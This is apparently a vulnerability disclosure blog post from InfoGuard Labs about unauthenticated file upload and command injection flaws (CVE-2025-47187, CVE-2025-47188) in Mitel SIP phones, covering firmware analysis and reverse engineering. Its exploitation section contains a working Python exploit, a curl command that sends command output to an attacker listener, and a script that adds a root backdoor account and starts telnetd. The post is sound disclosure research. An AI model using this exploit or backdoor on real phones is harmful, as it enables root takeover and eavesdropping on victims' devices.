
Introduction
While on an internal attack simulation engagement, a customer asked us: “Is an attacker able to listen in on our meeting room conversations?”. Motivated by this question, we scanned their internal network and discovered Mitel VoIP phone web management interfaces.
While playing around with the login functionality of the management interface, we accidentally rediscovered CVE-2020-13617 on our own - and since the phone firmware was old enough, it allowed us to leak memory in the failed login response. While we didn’t have enough time to analyze the phone during this engagement, my interest in the phone and its firmware did not vanish.
As part of the R&D team at InfoGuard Labs, I decided to take a closer look at the phone as a research project. This lead to the discovery of two new vulnerabilities:
- CVE-2025-47188: Unauthenticated command injection vulnerability
- CVE-2025-47187: Unauthenticated .wav file upload vulnerability
These vulnerabilities are present in Mitel 6800 Series, 6900 Series and 6900w Series SIP Phones, including the 6970 Conference Unit with firmware version R6.4.0.SP4 and earlier. Mitel has published the MISA-2025-0004 security advisory informing about these vulnerabilities, the affected devices as well as remediation measures.
Disclosure Timeline
Date | Event |
---|---|
21.03.2025 | Vulnerability report submitted |
25.03.2025 | Vulnerability report acknowledged |
02.04.2025 | Vulnerability confirmed |
08.04.2025 | Further clarification request |
13.04.2025 | Response to clarification request |
07.05.2025 | Mitel advisory published |
10.06.2025 | Technical details added to the blog |
I would like to thank the Mitel PSIRT team in their fast and professional response to our vulnerability report.
Technical details
Setup
To interact with the phone for testing, a static IP of 10.30.102.101/24
was set on the attacker notebook and the static IP of 10.30.102.102/24
was set on the phone.
This can be done on the phone itself, by pressing the settings button, entering the admin menu (default password 22222
) and then editing the network settings.
Initial Analysis
A network scan shows our phone is online:
sudo nmap -sV 10.30.102.102 -p -
Three port are open: the expected ports 80/http
and 443/https
of the management interface and an unexpected one: 49249/http
:
Nmap scan report for 10.30.102.102
Host is up (0.00065s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http?
443/tcp open ssl/http Mitel 6865i VoIP phone http admin
49249/tcp open http BusyBox httpd
MAC Address: 00:08:5D:71:AB:1D (Mitel)
Service Info: OS: Linux; Device: VoIP phone; CPE: cpe:/h:mitel:6865i, cpe:/o:linux:linux_kernel
Logging in to to web management interface at http://10.30.102.102
, we can see that basic authentication is used to protect the admin interface:
Requesting the page http://10.30.102.102:49249 returns the following:
<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
<BODY><H1>404 Not Found</H1>
The requested URL was not found
</BODY></HTML>
Interestingly, no basic authentication is required to access this webserver. However, to find out what functionality is provided, we have to take a closer look at the firmware.
Firmware analysis
First, the phone firmware was downloaded from the Mitel Cloud third-party firmware S3 bucket:
wget https://thirdparty.firmware.connect.mitelcloud.com/6900w/SIP/2019/6865i.st -O 6865i.st
md5sum 6865i.st && sha1sum 6865i.st && sha256sum 6865i.st
0aba0561fd4905636a3451fffee203a6 6865i.st
9591377a66c4910554c77fa57ae6cd3300c35432 6865i.st
ccf13a1a0ba2294883f186705ba5dc8da97d9b2309ea7de05f8df10038c63eef 6865i.st
To find out what is stored inside the .st
file, we can use binwalk
:
binwalk -e 6865i.st
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
323 0x143 Linux kernel ARM boot executable zImage (little-endian)
15671 0x3D37 gzip compressed data, maximum compression, from Unix, last modified: 2024-10-22 19:01:06
1579823 0x181B2F JFFS2 filesystem, little endian
What we are interested in most is the JFFS2 filesystem at offset 0x181B2F
. Instructions on how to mount this JFFS2 filesystem were taken from the SySS Tech blog post about CVE-2022-29855 and adjusted for the offset of the 6865i
firmware:
sudo modprobe jffs2
sudo modprobe mtdram total_size=70000
sudo modprobe mtdblock
sudo mkdir /mnt/6865i
sudo dd if=_6865i.st.extracted/181B2F.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/6865i
ls -lah /mnt/6865i/
total 5.5K
drwxr-xr-x 19 root root 0 Jan 1 1970 .
drwxr-xr-x 4 root root 4.0K Mar 27 10:48 ..
drwxr-xr-x 2 root root 0 Oct 22 2024 .bcm-debug-info
drwxr-xr-x 2 root root 0 Oct 22 2024 bin
drwxr-xr-x 9 root root 0 Oct 22 2024 dev
drwxr-xr-x 5 root root 0 Oct 22 2024 etc
drwxr-xr-x 2 root root 0 Oct 22 2024 home
drwxr-xr-x 7 root root 0 Oct 22 2024 lib
lrwxrwxrwx 1 root root 11 Oct 22 2024 linuxrc -> bin/busybox
drwxr-xr-x 2 root root 0 Oct 22 2024 mnt
drwxr-xr-x 2 root root 0 Oct 22 2024 nvdata
drwxr-xr-x 2 root root 0 Oct 22 2024 proc
-rw-r--r-- 1 root root 83 Oct 22 2024 .profile
drwxr-xr-x 2 root root 0 Oct 22 2024 sbin
drwxr-xr-x 2 root root 0 Oct 22 2024 sys
lrwxrwxrwx 1 root root 8 Oct 22 2024 tmp -> /var/tmp
drwxr-xr-x 6 root root 0 Oct 22 2024 usr
drwxr-xr-x 7 root root 0 Oct 22 2024 var
drwxr-xr-x 3 root root 0 Oct 22 2024 voip
drwxr-xr-x 5 root root 0 Oct 22 2024 webroot
drwxr-xr-x 4 root root 0 Oct 22 2024 webrootupload
We can now list the filesystem contents. Immediately, the non-standard folders voip
, webroot
and webrootupload
catch our attention. Listing the webroot/cgi-bin
and /webrootupload/cgi-bin
folders reveals two binaries, both called webconfig
:
ls -lah /mnt/6865i/webroot/cgi-bin/
total 76K
drwxr-xr-x 2 root root 0 Oct 22 2024 .
drwxr-xr-x 5 root root 0 Oct 22 2024 ..
-rwxr-xr-x 1 root root 19K Oct 22 2024 ota-upgrade-cgi
-rw-r--r-- 1 root root 24 Oct 22 2024 phpinfo.php
-rwxr-xr-x 1 root root 57K Oct 22 2024 webconfig
ls -lah /mnt/6865i/webrootupload/cgi-bin/
total 24K
drwxr-xr-x 2 root root 0 Oct 22 2024 .
drwxr-xr-x 4 root root 0 Oct 22 2024 ..
-rwxr-xr-x 1 root root 24K Oct 22 2024 webconfig
Calling http://10.30.102.102:49249/cgi-bin/webconfig gives us a 200 OK
response, indicating that we can reach the binary without authentication:
curl -v http://10.30.102.102:49249/cgi-bin/webconfig
* Trying 10.30.102.102:49249...
* Connected to 10.30.102.102 (10.30.102.102) port 49249
> GET /cgi-bin/webconfig HTTP/1.1
> Host: 10.30.102.102:49249
> User-Agent: curl/8.5.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
* Closing connection
To find out what the webconfig
binary is doing, we reverse engineer it using Ghidra.
Reverse engineering webconfig
Since both binaries are located in a cgi-bin
folder, they are invoked for every request with special environment variables set according to the CGI specification. We can see that both main
function are very similar, but the webconfig
in /webrootupload/cgi-bin
adds two pages: upload_ringtone
and upload_directory
.
Looking at /webroot/cgi-bin/webconfig
first, we can see a lot of comparisons being made to determine the page that was requested:
For /webrootupload/cgi-bin/webconfig
, we can see a similar structure with additional entries to handle ringtone and directory uploads:
Note: the duplicate handler entries are not actually implemented in the second binary
And indeed, if we upload an empty test.wav
ringtone file via the administrative web interface, the webconfig
binary with the upload_ringtone
handler gets called:
As we can see in the request headers, the POST request gets sent to the web server listening on port 49429
without any authentication over http. It is unclear why this request was implemented as a call to a different binary on a different port and not handled within the already existing webconfig
binary that uses basic authentication. Just like that, we have discovered CVE-2025-47187
, the unauthenticated file upload.
The file upload handler function
The main
function calls the ringtone upload handler function at 0x0000a608
if the page
parameter is set to upload_ringtone
and the action
is set to submit
:
This function then extracts the filename
parameter from our multipart/form-data
body by just reading line by line until the string filename
is found. Then, it skips filename="
and treats everything until the next "
as the filename.:
We can immediately see that if the call to actually_handle_file_upload
fails, our supplied filename is used during cleanup and is passed into a system
function call: rm -f "/tmp/<filename here>"
. The function that actually handles the upload body is located at 0x0000a080
. Looking through it, we can see more calls to system
using our supplied filename:
Here, it is used to execute the mv -f "/voip/tmp/<filename here>" "/userdata/ringtone/<filename here>"
and chmod 644 "/userdata/ringtone/<filename here>"
shell commands. As a full shell is used to execute these commands and the filename is not escaped (just can’t contain \
and /
), it is possible run arbitrary commands by including $(<command here>)
as part of the filename.
Exploitation
Equipped with all the knowledge of the webservice, we can build our exploit script:
import argparse, requests, socket, sys
# Taken from: https://github.com/mathiasbynens/small/blob/master/wav.wav
WAF_FILE = b"RIFF$\0\0\0WAVEfmt \x10\0\0\0\x01\0\x01\0D\xac\0\0\x88X\x01\0\x02\0\x10\0data\0\0\0\0"
def exploit(target, command):
target_ip = socket.gethostbyname(target)
print(f"Starting exploit...")
r = requests.post(
f"http://{target_ip}:49249/cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=0&conn=0",
files={
"upload_ringtone/newfile": (
f"commands.txt",
WAF_FILE + b"\n" + command.encode("utf-8"),
)
},
)
if "ringtone.html" not in r.text or "success" not in r.text:
print("Exploit failed uploading commands.txt")
print(r.text)
return
r = requests.post(
f"http://{target_ip}:49249/cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=1&conn=0",
files={
"upload_ringtone/newfile": (
"fake$(sh ${HOME}userdata${HOME}ringtone${HOME}commands.txt).wav",
b"This is an invalid WAV file",
)
},
)
if "ringtone.html" not in r.text:
print("Exploit failed during command execution")
print(r.text)
return
print("Exploit completed.")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("target", help="The target hostname or ip")
parser.add_argument("-c", "--command", help="The command to run on the remote")
parser.add_argument("-s", "--script", help="The script to run on the remote")
args = parser.parse_args()
if args.command and args.script:
print("Can only use one of -c or -s")
sys.exit(1)
command = args.command
if args.script:
with open(args.script, "r") as f:
command = f.read()
if command is None or command.strip() == "":
print("No command specified. Use either -c or -s.")
sys.exit(1)
exploit(args.target, command)
The exploit scripts uploads the smallest possible valid .wav
file followed by a newline and the commands that should be executed. Then, a second upload call executes the freshly uploaded file via the command injection attack in the filename
parameter. The injection uses the ${HOME}
variable as a replacement for the /
character, which can’t be part of the filename itself. Using the exploit script, we can now execute a curl
command to get command execution results back to our machine:
nc -lvp 5000
python3 exploit.py 10.30.102.102 -c "curl -d \$(id) 10.30.102.101:5000"
Listening on 0.0.0.0 5000
Connection received on 10.30.102.102 39467
POST / HTTP/1.1
Host: 10.30.102.101:5000
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
uid=0(root)
Success! We get the http request from the phone and can see that the webconfig
binary is running as the root
user.
Interactive access
To get interactive access on the phone, we can prepare a file with commands that we want to run on the phone. In this case, the commands add a backdoor
user with a password of backdoor
and then starts telnetd
in the background:
echo "backdoor:x:0:0:root:/:" >> /etc/passwd
echo "backdoor:$(openssl passwd -1 backdoor):16352:0:99999:7:::" >> /etc/shadow
nohup telnetd &
Note: We are using
telnetd
for the backdoor access sincesshd
is not installed.
We can then run our backdoor commands and get interactive access to the phone. As we now have full control over the phone, we can display text on the phone’s LCD display as proof of exploitation:
python3 exploit.py 10.30.102.102 -s backdoor.sh
telnet 10.30.102.102
Trying 10.30.102.102...
Connected to 10.30.102.102.
Escape character is '^]'.
6865i login: backdoor
Password:
10.30.102.102 # id
uid=0(root) gid=0(root) groups=0(root)
10.30.102.102 # uname -a
Linux 6865i 2.6.27.18 #1 PREEMPT Tue Oct 22 15:01:04 EDT 2024 armv6l GNU/Linux
10.30.102.102 # lcdctl -s 0,0," "
10.30.102.102 # lcdctl -s 0,1," "
10.30.102.102 # lcdctl -s 0,2,"InfoGuard Labs "
10.30.102.102 # lcdctl -s 0,3," "
10.30.102.102 #